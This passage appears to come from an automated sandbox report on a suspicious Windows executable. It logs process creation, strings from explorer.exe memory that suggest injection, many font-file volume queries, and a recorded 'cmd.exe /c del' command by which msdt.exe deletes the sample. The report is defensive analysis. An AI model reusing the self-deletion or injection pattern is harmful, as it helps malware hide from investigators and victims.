          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeProcess created: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe"Jump to behavior
          Source: explorer.exe, 00000005.00000002.4093500056.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3427001072.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3106606841.0000000009815000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 00000005.00000002.4091961839.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1661857338.00000000018A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 00000005.00000000.1661541002.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4091496578.0000000001240000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1Progman$
          Source: explorer.exe, 00000005.00000002.4091961839.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1661857338.00000000018A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: explorer.exe, 00000005.00000002.4091961839.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1661857338.00000000018A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exe VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformationJump to behavior
